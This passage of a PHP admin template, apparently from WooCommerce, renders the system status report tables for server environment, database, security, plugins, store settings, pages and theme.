				<td>
					<?php
					if ( version_compare( $environment['mysql_version'], '5.6', '<' ) && ! strstr( $environment['mysql_version_string'], 'MariaDB' ) ) {
						/* Translators: %1$s: MySQL version, %2$s: Recommended MySQL version. */
						echo '<mark class="error"><span class="dashicons dashicons-warning"></span> ' . sprintf( esc_html__( '%1$s - We recommend a minimum MySQL version of 5.6. See: %2$s', 'woocommerce' ), esc_html( $environment['mysql_version_string'] ), '<a href="https://wordpress.org/about/requirements/" target="_blank">' . esc_html__( 'WordPress requirements', 'woocommerce' ) . '</a>' ) . '</mark>';
					} else {
						echo '<mark class="yes">' . esc_html( $environment['mysql_version_string'] ) . '</mark>';
					}
					?>
				</td>
			</tr>
		<?php endif; ?>
		<tr>
			<td data-export-label="Max Upload Size"><?php esc_html_e( 'Max upload size', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'The largest filesize that can be uploaded to your WordPress installation.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td><?php echo esc_html( size_format( $environment['max_upload_size'] ) ); ?></td>
		</tr>
		<tr>
			<td data-export-label="Default Timezone is UTC"><?php esc_html_e( 'Default timezone is UTC', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'The default timezone for your server.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td>
				<?php
				if ( 'UTC' !== $environment['default_timezone'] ) {
					/* Translators: %s: default timezone.. */
					echo '<mark class="error"><span class="dashicons dashicons-warning"></span> ' . sprintf( esc_html__( 'Default timezone is %s - it should be UTC', 'woocommerce' ), esc_html( $environment['default_timezone'] ) ) . '</mark>';
				} else {
					echo '<mark class="yes"><span class="dashicons dashicons-yes"></span></mark>';
				}
				?>
			</td>
		</tr>
		<tr>
			<td data-export-label="fsockopen/cURL"><?php esc_html_e( 'fsockopen/cURL', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'Payment gateways can use cURL to communicate with remote servers to authorize payments, other plugins may also use it when communicating with remote services.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td>
				<?php
				if ( $environment['fsockopen_or_curl_enabled'] ) {
					echo '<mark class="yes"><span class="dashicons dashicons-yes"></span></mark>';
				} else {
					echo '<mark class="error"><span class="dashicons dashicons-warning"></span> ' . esc_html__( 'Your server does not have fsockopen or cURL enabled - PayPal IPN and other scripts which communicate with other servers will not work. Contact your hosting provider.', 'woocommerce' ) . '</mark>';
				}
				?>
			</td>
		</tr>
		<tr>
			<td data-export-label="SoapClient"><?php esc_html_e( 'SoapClient', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'Some webservices like shipping use SOAP to get information from remote servers, for example, live shipping quotes from FedEx require SOAP to be installed.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td>
				<?php
				if ( $environment['soapclient_enabled'] ) {
					echo '<mark class="yes"><span class="dashicons dashicons-yes"></span></mark>';
				} else {
					/* Translators: %s classname and link. */
					echo '<mark class="error"><span class="dashicons dashicons-warning"></span> ' . sprintf( esc_html__( 'Your server does not have the %s class enabled - some gateway plugins which use SOAP may not work as expected.', 'woocommerce' ), '<a href="https://php.net/manual/en/class.soapclient.php">SoapClient</a>' ) . '</mark>';
				}
				?>
			</td>
		</tr>
		<tr>
			<td data-export-label="DOMDocument"><?php esc_html_e( 'DOMDocument', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'HTML/Multipart emails use DOMDocument to generate inline CSS in templates.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td>
				<?php
				if ( $environment['domdocument_enabled'] ) {
					echo '<mark class="yes"><span class="dashicons dashicons-yes"></span></mark>';
				} else {
					/* Translators: %s: classname and link. */
					echo '<mark class="error"><span class="dashicons dashicons-warning"></span> ' . sprintf( esc_html__( 'Your server does not have the %s class enabled - HTML/Multipart emails, and also some extensions, will not work without DOMDocument.', 'woocommerce' ), '<a href="https://php.net/manual/en/class.domdocument.php">DOMDocument</a>' ) . '</mark>';
				}
				?>
			</td>
		</tr>
		<tr>
			<td data-export-label="GZip"><?php esc_html_e( 'GZip', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'GZip (gzopen) is used to open the GEOIP database from MaxMind.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td>
				<?php
				if ( $environment['gzip_enabled'] ) {
					echo '<mark class="yes"><span class="dashicons dashicons-yes"></span></mark>';
				} else {
					/* Translators: %s: classname and link. */
					echo '<mark class="error"><span class="dashicons dashicons-warning"></span> ' . sprintf( esc_html__( 'Your server does not support the %s function - this is required to use the GeoIP database from MaxMind.', 'woocommerce' ), '<a href="https://php.net/manual/en/zlib.installation.php">gzopen</a>' ) . '</mark>';
				}
				?>
			</td>
		</tr>
		<tr>
			<td data-export-label="Multibyte String"><?php esc_html_e( 'Multibyte string', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'Multibyte String (mbstring) is used to convert character encoding, like for emails or converting characters to lowercase.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td>
				<?php
				if ( $environment['mbstring_enabled'] ) {
					echo '<mark class="yes"><span class="dashicons dashicons-yes"></span></mark>';
				} else {
					/* Translators: %s: classname and link. */
					echo '<mark class="error"><span class="dashicons dashicons-warning"></span> ' . sprintf( esc_html__( 'Your server does not support the %s functions - this is required for better character encoding. Some fallbacks will be used instead for it.', 'woocommerce' ), '<a href="https://php.net/manual/en/mbstring.installation.php">mbstring</a>' ) . '</mark>';
				}
				?>
			</td>
		</tr>
		<tr>
			<td data-export-label="Remote Post"><?php esc_html_e( 'Remote post', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'PayPal uses this method of communicating when sending back transaction information.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td>
				<?php
				if ( $environment['remote_post_successful'] ) {
					echo '<mark class="yes"><span class="dashicons dashicons-yes"></span></mark>';
				} else {
					/* Translators: %s: function name. */
					echo '<mark class="error"><span class="dashicons dashicons-warning"></span> ' . sprintf( esc_html__( '%s failed. Contact your hosting provider.', 'woocommerce' ), 'wp_remote_post()' ) . ' ' . esc_html( $environment['remote_post_response'] ) . '</mark>';
				}
				?>
			</td>
		</tr>
		<tr>
			<td data-export-label="Remote Get"><?php esc_html_e( 'Remote get', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'WooCommerce plugins may use this method of communication when checking for plugin updates.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td>
				<?php
				if ( $environment['remote_get_successful'] ) {
					echo '<mark class="yes"><span class="dashicons dashicons-yes"></span></mark>';
				} else {
					/* Translators: %s: function name. */
					echo '<mark class="error"><span class="dashicons dashicons-warning"></span> ' . sprintf( esc_html__( '%s failed. Contact your hosting provider.', 'woocommerce' ), 'wp_remote_get()' ) . ' ' . esc_html( $environment['remote_get_response'] ) . '</mark>';
				}
				?>
			</td>
		</tr>
		<?php
		$rows = apply_filters( 'woocommerce_system_status_environment_rows', array() );
		foreach ( $rows as $row ) {
			if ( ! empty( $row['success'] ) ) {
				$css_class = 'yes';
				$icon      = '<span class="dashicons dashicons-yes"></span>';
			} else {
				$css_class = 'error';
				$icon      = '<span class="dashicons dashicons-no-alt"></span>';
			}
			?>
			<tr>
				<td data-export-label="<?php echo esc_attr( $row['name'] ); ?>"><?php echo esc_html( $row['name'] ); ?>:</td>
				<td class="help"><?php echo esc_html( isset( $row['help'] ) ? $row['help'] : '' ); ?></td>
				<td>
					<mark class="<?php echo esc_attr( $css_class ); ?>">
						<?php echo wp_kses_post( $icon ); ?> <?php echo wp_kses_data( ! empty( $row['note'] ) ? $row['note'] : '' ); ?>
					</mark>
				</td>
			</tr>
			<?php
		}
		?>
	</tbody>
</table>
<table id="status-database" class="wc_status_table widefat" cellspacing="0">
	<thead>
	<tr>
		<th colspan="3" data-export-label="Database">
			<h2>
				<?php
					esc_html_e( 'Database', 'woocommerce' );
					self::output_tables_info();
				?>
			</h2>
		</th>
	</tr>
	</thead>
	<tbody>
		<tr>
			<td data-export-label="WC Database Version"><?php esc_html_e( 'WooCommerce database version', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'The database version for WooCommerce. Note that it may not match WooCommerce core version and that is normal.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td><?php echo esc_html( $database['wc_database_version'] ); ?></td>
		</tr>
		<tr>
			<td data-export-label="WC Database Prefix"><?php esc_html_e( 'Database prefix', 'woocommerce' ); ?></td>
			<td class="help">&nbsp;</td>
			<td>
				<?php
				if ( strlen( $database['database_prefix'] ) > 20 ) {
					/* Translators: %1$s: Database prefix, %2$s: Docs link. */
					echo '<mark class="error"><span class="dashicons dashicons-warning"></span> ' . sprintf( esc_html__( '%1$s - We recommend using a prefix with less than 20 characters. See: %2$s', 'woocommerce' ), esc_html( $database['database_prefix'] ), '<a href="https://docs.woocommerce.com/document/completed-order-email-doesnt-contain-download-links/#section-2" target="_blank">' . esc_html__( 'How to update your database table prefix', 'woocommerce' ) . '</a>' ) . '</mark>';
				} else {
					echo '<mark class="yes">' . esc_html( $database['database_prefix'] ) . '</mark>';
				}
				?>
			</td>
		</tr>

		<?php if ( ! empty( $database['database_size'] ) && ! empty( $database['database_tables'] ) ) : ?>
			<tr>
				<td><?php esc_html_e( 'Total Database Size', 'woocommerce' ); ?></td>
				<td class="help">&nbsp;</td>
				<td><?php printf( '%.2fMB', esc_html( $database['database_size']['data'] + $database['database_size']['index'] ) ); ?></td>
			</tr>

			<tr>
				<td><?php esc_html_e( 'Database Data Size', 'woocommerce' ); ?></td>
				<td class="help">&nbsp;</td>
				<td><?php printf( '%.2fMB', esc_html( $database['database_size']['data'] ) ); ?></td>
			</tr>

			<tr>
				<td><?php esc_html_e( 'Database Index Size', 'woocommerce' ); ?></td>
				<td class="help">&nbsp;</td>
				<td><?php printf( '%.2fMB', esc_html( $database['database_size']['index'] ) ); ?></td>
			</tr>

			<?php foreach ( $database['database_tables']['woocommerce'] as $table => $table_data ) { ?>
				<tr>
					<td><?php echo esc_html( $table ); ?></td>
					<td class="help">&nbsp;</td>
					<td>
						<?php
						if ( ! $table_data ) {
							echo '<mark class="error"><span class="dashicons dashicons-warning"></span> ' . esc_html__( 'Table does not exist', 'woocommerce' ) . '</mark>';
						} else {
							/* Translators: %1$f: Table size, %2$f: Index size, %3$s Engine. */
							printf( esc_html__( 'Data: %1$.2fMB + Index: %2$.2fMB + Engine %3$s', 'woocommerce' ), esc_html( wc_format_decimal( $table_data['data'], 2 ) ), esc_html( wc_format_decimal( $table_data['index'], 2 ) ), esc_html( $table_data['engine'] ) );
						}
						?>
					</td>
				</tr>
			<?php } ?>

			<?php foreach ( $database['database_tables']['other'] as $table => $table_data ) { ?>
				<tr>
					<td><?php echo esc_html( $table ); ?></td>
					<td class="help">&nbsp;</td>
					<td>
						<?php
							/* Translators: %1$f: Table size, %2$f: Index size, %3$s Engine. */
							printf( esc_html__( 'Data: %1$.2fMB + Index: %2$.2fMB + Engine %3$s', 'woocommerce' ), esc_html( wc_format_decimal( $table_data['data'], 2 ) ), esc_html( wc_format_decimal( $table_data['index'], 2 ) ), esc_html( $table_data['engine'] ) );
						?>
					</td>
				</tr>
			<?php } ?>
		<?php else : ?>
			<tr>
				<td><?php esc_html_e( 'Database information:', 'woocommerce' ); ?></td>
				<td class="help">&nbsp;</td>
				<td>
					<?php
					esc_html_e(
						'Unable to retrieve database information. Usually, this is not a problem, and it only means that your install is using a class that replaces the WordPress database class (e.g., HyperDB) and WooCommerce is unable to get database information.',
						'woocommerce'
					);
					?>
				</td>
			</tr>
		<?php endif; ?>
	</tbody>
</table>
<?php if ( $post_type_counts ) : ?>
	<table class="wc_status_table widefat" cellspacing="0">
		<thead>
		<tr>
			<th colspan="3" data-export-label="Post Type Counts"><h2><?php esc_html_e( 'Post Type Counts', 'woocommerce' ); ?></h2></th>
		</tr>
		</thead>
		<tbody>
			<?php
			foreach ( $post_type_counts as $ptype ) {
				?>
				<tr>
					<td><?php echo esc_html( $ptype['type'] ); ?></td>
					<td class="help">&nbsp;</td>
					<td><?php echo absint( $ptype['count'] ); ?></td>
				</tr>
				<?php
			}
			?>
		</tbody>
	</table>
<?php endif; ?>
<table class="wc_status_table widefat" cellspacing="0">
	<thead>
		<tr>
			<th colspan="3" data-export-label="Security"><h2><?php esc_html_e( 'Security', 'woocommerce' ); ?></h2></th>
		</tr>
	</thead>
	<tbody>
		<tr>
			<td data-export-label="Secure connection (HTTPS)"><?php esc_html_e( 'Secure connection (HTTPS)', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'Is the connection to your store secure?', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td>
				<?php if ( $security['secure_connection'] ) : ?>
					<mark class="yes"><span class="dashicons dashicons-yes"></span></mark>
				<?php else : ?>
					<mark class="error"><span class="dashicons dashicons-warning"></span>
					<?php
					/* Translators: %s: docs link. */
					echo wp_kses_post( sprintf( __( 'Your store is not using HTTPS. <a href="%s" target="_blank">Learn more about HTTPS and SSL Certificates</a>.', 'woocommerce' ), 'https://docs.woocommerce.com/document/ssl-and-https/' ) );
					?>
					</mark>
				<?php endif; ?>
			</td>
		</tr>
		<tr>
			<td data-export-label="Hide errors from visitors"><?php esc_html_e( 'Hide errors from visitors', 'woocommerce' ); ?></td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'Error messages can contain sensitive information about your store environment. These should be hidden from untrusted visitors.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td>
				<?php if ( $security['hide_errors'] ) : ?>
					<mark class="yes"><span class="dashicons dashicons-yes"></span></mark>
				<?php else : ?>
					<mark class="error"><span class="dashicons dashicons-warning"></span><?php esc_html_e( 'Error messages should not be shown to visitors.', 'woocommerce' ); ?></mark>
				<?php endif; ?>
			</td>
		</tr>
	</tbody>
</table>
<table class="wc_status_table widefat" cellspacing="0">
	<thead>
		<tr>
			<th colspan="3" data-export-label="Active Plugins (<?php echo count( $active_plugins ); ?>)"><h2><?php esc_html_e( 'Active plugins', 'woocommerce' ); ?> (<?php echo count( $active_plugins ); ?>)</h2></th>
		</tr>
	</thead>
	<tbody>
		<?php self::output_plugins_info( $active_plugins, $untested_plugins ); ?>
	</tbody>
</table>
<table class="wc_status_table widefat" cellspacing="0">
	<thead>
		<tr>
			<th colspan="3" data-export-label="Inactive Plugins (<?php echo count( $inactive_plugins ); ?>)"><h2><?php esc_html_e( 'Inactive plugins', 'woocommerce' ); ?> (<?php echo count( $inactive_plugins ); ?>)</h2></th>
		</tr>
	</thead>
	<tbody>
		<?php self::output_plugins_info( $inactive_plugins, $untested_plugins ); ?>
	</tbody>
</table>
<?php
if ( 0 < count( $dropins_mu_plugins['dropins'] ) ) :
	?>
	<table class="wc_status_table widefat" cellspacing="0">
		<thead>
			<tr>
				<th colspan="3" data-export-label="Dropin Plugins (<?php echo count( $dropins_mu_plugins['dropins'] ); ?>)"><h2><?php esc_html_e( 'Dropin Plugins', 'woocommerce' ); ?> (<?php echo count( $dropins_mu_plugins['dropins'] ); ?>)</h2></th>
			</tr>
		</thead>
		<tbody>
			<?php
			foreach ( $dropins_mu_plugins['dropins'] as $dropin ) {
				?>
				<tr>
					<td><?php echo wp_kses_post( $dropin['plugin'] ); ?></td>
					<td class="help">&nbsp;</td>
					<td><?php echo wp_kses_post( $dropin['name'] ); ?>
				</tr>
				<?php
			}
			?>
		</tbody>
	</table>
	<?php
endif;
if ( 0 < count( $dropins_mu_plugins['mu_plugins'] ) ) :
	?>
	<table class="wc_status_table widefat" cellspacing="0">
		<thead>
			<tr>
				<th colspan="3" data-export-label="Must Use Plugins (<?php echo count( $dropins_mu_plugins['mu_plugins'] ); ?>)"><h2><?php esc_html_e( 'Must Use Plugins', 'woocommerce' ); ?> (<?php echo count( $dropins_mu_plugins['mu_plugins'] ); ?>)</h2></th>
			</tr>
		</thead>
		<tbody>
			<?php
			foreach ( $dropins_mu_plugins['mu_plugins'] as $mu_plugin ) { // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited
				$plugin_name = esc_html( $mu_plugin['name'] );
				if ( ! empty( $mu_plugin['url'] ) ) {
					$plugin_name = '<a href="' . esc_url( $mu_plugin['url'] ) . '" aria-label="' . esc_attr__( 'Visit plugin homepage', 'woocommerce' ) . '" target="_blank">' . $plugin_name . '</a>';
				}
				?>
				<tr>
					<td><?php echo wp_kses_post( $plugin_name ); ?></td>
					<td class="help">&nbsp;</td>
					<td>
					<?php
						/* translators: %s: plugin author */
						printf( esc_html__( 'by %s', 'woocommerce' ), esc_html( $mu_plugin['author_name'] ) );
						echo ' &ndash; ' . esc_html( $mu_plugin['version'] );
					?>
				</tr>
				<?php
			}
			?>
		</tbody>
	</table>
<?php endif; ?>
<table class="wc_status_table widefat" cellspacing="0">
	<thead>
		<tr>
			<th colspan="3" data-export-label="Settings"><h2><?php esc_html_e( 'Settings', 'woocommerce' ); ?></h2></th>
		</tr>
	</thead>
	<tbody>
		<tr>
			<td data-export-label="API Enabled"><?php esc_html_e( 'API enabled', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'Does your site have REST API enabled?', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td><?php echo $settings['api_enabled'] ? '<mark class="yes"><span class="dashicons dashicons-yes"></span></mark>' : '<mark class="no">&ndash;</mark>'; ?></td>
		</tr>
		<tr>
			<td data-export-label="Force SSL"><?php esc_html_e( 'Force SSL', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'Does your site force a SSL Certificate for transactions?', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td><?php echo $settings['force_ssl'] ? '<mark class="yes"><span class="dashicons dashicons-yes"></span></mark>' : '<mark class="no">&ndash;</mark>'; ?></td>
		</tr>
		<tr>
			<td data-export-label="Currency"><?php esc_html_e( 'Currency', 'woocommerce' ); ?></td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'What currency prices are listed at in the catalog and which currency gateways will take payments in.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td><?php echo esc_html( $settings['currency'] ); ?> (<?php echo esc_html( $settings['currency_symbol'] ); ?>)</td>
		</tr>
		<tr>
			<td data-export-label="Currency Position"><?php esc_html_e( 'Currency position', 'woocommerce' ); ?></td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'The position of the currency symbol.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td><?php echo esc_html( $settings['currency_position'] ); ?></td>
		</tr>
		<tr>
			<td data-export-label="Thousand Separator"><?php esc_html_e( 'Thousand separator', 'woocommerce' ); ?></td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'The thousand separator of displayed prices.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td><?php echo esc_html( $settings['thousand_separator'] ); ?></td>
		</tr>
		<tr>
			<td data-export-label="Decimal Separator"><?php esc_html_e( 'Decimal separator', 'woocommerce' ); ?></td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'The decimal separator of displayed prices.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td><?php echo esc_html( $settings['decimal_separator'] ); ?></td>
		</tr>
		<tr>
			<td data-export-label="Number of Decimals"><?php esc_html_e( 'Number of decimals', 'woocommerce' ); ?></td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'The number of decimal points shown in displayed prices.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td><?php echo esc_html( $settings['number_of_decimals'] ); ?></td>
		</tr>
		<tr>
			<td data-export-label="Taxonomies: Product Types"><?php esc_html_e( 'Taxonomies: Product types', 'woocommerce' ); ?></th>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'A list of taxonomy terms that can be used in regard to order/product statuses.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td>
				<?php
				$display_terms = array();
				foreach ( $settings['taxonomies'] as $slug => $name ) {
					$display_terms[] = strtolower( $name ) . ' (' . $slug . ')';
				}
				echo implode( ', ', array_map( 'esc_html', $display_terms ) );
				?>
			</td>
		</tr>
		<tr>
			<td data-export-label="Taxonomies: Product Visibility"><?php esc_html_e( 'Taxonomies: Product visibility', 'woocommerce' ); ?></th>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'A list of taxonomy terms used for product visibility.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td>
				<?php
				$display_terms = array();
				foreach ( $settings['product_visibility_terms'] as $slug => $name ) {
					$display_terms[] = strtolower( $name ) . ' (' . $slug . ')';
				}
				echo implode( ', ', array_map( 'esc_html', $display_terms ) );
				?>
			</td>
		</tr>
		<tr>
			<td data-export-label="Connected to WooCommerce.com"><?php esc_html_e( 'Connected to WooCommerce.com', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'Is your site connected to WooCommerce.com?', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td><?php echo 'yes' === $settings['woocommerce_com_connected'] ? '<mark class="yes"><span class="dashicons dashicons-yes"></span></mark>' : '<mark class="no">&ndash;</mark>'; ?></td>
		</tr>
	</tbody>
</table>
<table class="wc_status_table widefat" cellspacing="0">
	<thead>
		<tr>
			<th colspan="3" data-export-label="WC Pages"><h2><?php esc_html_e( 'WooCommerce pages', 'woocommerce' ); ?></h2></th>
		</tr>
	</thead>
	<tbody>
		<?php
		$alt = 1;
		foreach ( $wp_pages as $_page ) {
			$found_error = false;

			if ( $_page['page_id'] ) {
				/* Translators: %s: page name. */
				$page_name = '<a href="' . get_edit_post_link( $_page['page_id'] ) . '" aria-label="' . sprintf( esc_html__( 'Edit %s page', 'woocommerce' ), esc_html( $_page['page_name'] ) ) . '">' . esc_html( $_page['page_name'] ) . '</a>';
			} else {
				$page_name = esc_html( $_page['page_name'] );
			}

			echo '<tr><td data-export-label="' . esc_attr( $page_name ) . '">' . wp_kses_post( $page_name ) . ':</td>';
			/* Translators: %s: page name. */
			echo '<td class="help">' . wc_help_tip( sprintf( esc_html__( 'The URL of your %s page (along with the Page ID).', 'woocommerce' ), $page_name ) ) . '</td><td>';

			// Page ID check.
			if ( ! $_page['page_set'] ) {
				echo '<mark class="error"><span class="dashicons dashicons-warning"></span> ' . esc_html__( 'Page not set', 'woocommerce' ) . '</mark>';
				$found_error = true;
			} elseif ( ! $_page['page_exists'] ) {
				echo '<mark class="error"><span class="dashicons dashicons-warning"></span> ' . esc_html__( 'Page ID is set, but the page does not exist', 'woocommerce' ) . '</mark>';
				$found_error = true;
			} elseif ( ! $_page['page_visible'] ) {
				/* Translators: %s: docs link. */
				echo '<mark class="error"><span class="dashicons dashicons-warning"></span> ' . wp_kses_post( sprintf( __( 'Page visibility should be <a href="%s" target="_blank">public</a>', 'woocommerce' ), 'https://wordpress.org/support/article/content-visibility/' ) ) . '</mark>';
				$found_error = true;
			} else {
				// Shortcode and block check.
				if ( $_page['shortcode_required'] || $_page['block_required'] ) {
					if ( ! $_page['shortcode_present'] && ! $_page['block_present'] ) {
						/* Translators: %1$s: shortcode text, %2$s: block slug. */
						echo '<mark class="error"><span class="dashicons dashicons-warning"></span> ' . ( $_page['block_required'] ? sprintf( esc_html__( 'Page does not contain the %1$s shortcode or the %2$s block.', 'woocommerce' ), esc_html( $_page['shortcode'] ), esc_html( $_page['block'] ) ) : sprintf( esc_html__( 'Page does not contain the %s shortcode.', 'woocommerce' ), esc_html( $_page['shortcode'] ) ) ) . '</mark>'; /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */
						$found_error = true;
					}
				}
			}

			if ( ! $found_error ) {
				echo '<mark class="yes">#' . absint( $_page['page_id'] ) . ' - ' . esc_html( str_replace( home_url(), '', get_permalink( $_page['page_id'] ) ) ) . '</mark>';
			}

			echo '</td></tr>';
		}
		?>
	</tbody>
</table>
<table class="wc_status_table widefat" cellspacing="0">
	<thead>
		<tr>
			<th colspan="3" data-export-label="Theme"><h2><?php esc_html_e( 'Theme', 'woocommerce' ); ?></h2></th>
		</tr>
	</thead>
	<tbody>
		<tr>
			<td data-export-label="Name"><?php esc_html_e( 'Name', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'The name of the current active theme.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td><?php echo esc_html( $theme['name'] ); ?></td>
		</tr>
		<tr>
			<td data-export-label="Version"><?php esc_html_e( 'Version', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'The installed version of the current active theme.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td>
				<?php
				if ( version_compare( $theme['version'], $theme['version_latest'], '<' ) ) {
					/* translators: 1: current version. 2: latest version */
					echo esc_html( sprintf( __( '%1$s (update to version %2$s is available)', 'woocommerce' ), $theme['version'], $theme['version_latest'] ) );
				} else {
					echo esc_html( $theme['version'] );
				}
				?>
			</td>
		</tr>
		<tr>
			<td data-export-label="Author URL"><?php esc_html_e( 'Author URL', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'The theme developers URL.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td><?php echo esc_html( $theme['author_url'] ); ?></td>
		</tr>
		<tr>
			<td data-export-label="Child Theme"><?php esc_html_e( 'Child theme', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'Displays whether or not the current theme is a child theme.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td>
				<?php
				if ( $theme['is_child_theme'] ) {
					echo '<mark class="yes"><span class="dashicons dashicons-yes"></span></mark>';
				} else {
					/* Translators: %s docs link. */
					echo '<span class="dashicons dashicons-no-alt"></span> &ndash; ' . wp_kses_post( sprintf( __( 'If you are modifying WooCommerce on a parent theme that you did not build personally we recommend using a child theme. See: <a href="%s" target="_blank">How to create a child theme</a>', 'woocommerce' ), 'https://developer.wordpress.org/themes/advanced-topics/child-themes/' ) );
				}
				?>
				</td>
		</tr>
		<?php if ( $theme['is_child_theme'] ) : ?>
			<tr>
				<td data-export-label="Parent Theme Name"><?php esc_html_e( 'Parent theme name', 'woocommerce' ); ?>:</td>
				<td class="help"><?php echo wc_help_tip( esc_html__( 'The name of the parent theme.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
				<td><?php echo esc_html( $theme['parent_name'] ); ?></td>
			</tr>
			<tr>
				<td data-export-label="Parent Theme Version"><?php esc_html_e( 'Parent theme version', 'woocommerce' ); ?>:</td>
				<td class="help"><?php echo wc_help_tip( esc_html__( 'The installed version of the parent theme.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
				<td>
					<?php
					echo esc_html( $theme['parent_version'] );
					if ( version_compare( $theme['parent_version'], $theme['parent_version_latest'], '<' ) ) {
						/* translators: %s: parent theme latest version */
						echo ' &ndash; <strong style="color:red;">' . sprintf( esc_html__( '%s is available', 'woocommerce' ), esc_html( $theme['parent_version_latest'] ) ) . '</strong>';
					}
					?>
				</td>
			</tr>
			<tr>
				<td data-export-label="Parent Theme Author URL"><?php esc_html_e( 'Parent theme author URL', 'woocommerce' ); ?>:</td>
				<td class="help"><?php echo wc_help_tip( esc_html__( 'The parent theme developers URL.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
				<td><?php echo esc_html( $theme['parent_author_url'] ); ?></td>
			</tr>
		<?php endif ?>
		<tr>
			<td data-export-label="WooCommerce Support"><?php esc_html_e( 'WooCommerce support', 'woocommerce' ); ?>:</td>
			<td class="help"><?php echo wc_help_tip( esc_html__( 'Displays whether or not the current active theme declares WooCommerce support.', 'woocommerce' ) ); /* phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped */ ?></td>
			<td>
				<?php
				if ( ! $theme['has_woocommerce_support'] ) {
					echo '<mark class="error"><span class="dashicons dashicons-warning"></span> ' . esc_html__( 'Not declared', 'woocommerce' ) . '</mark>';
				} else {
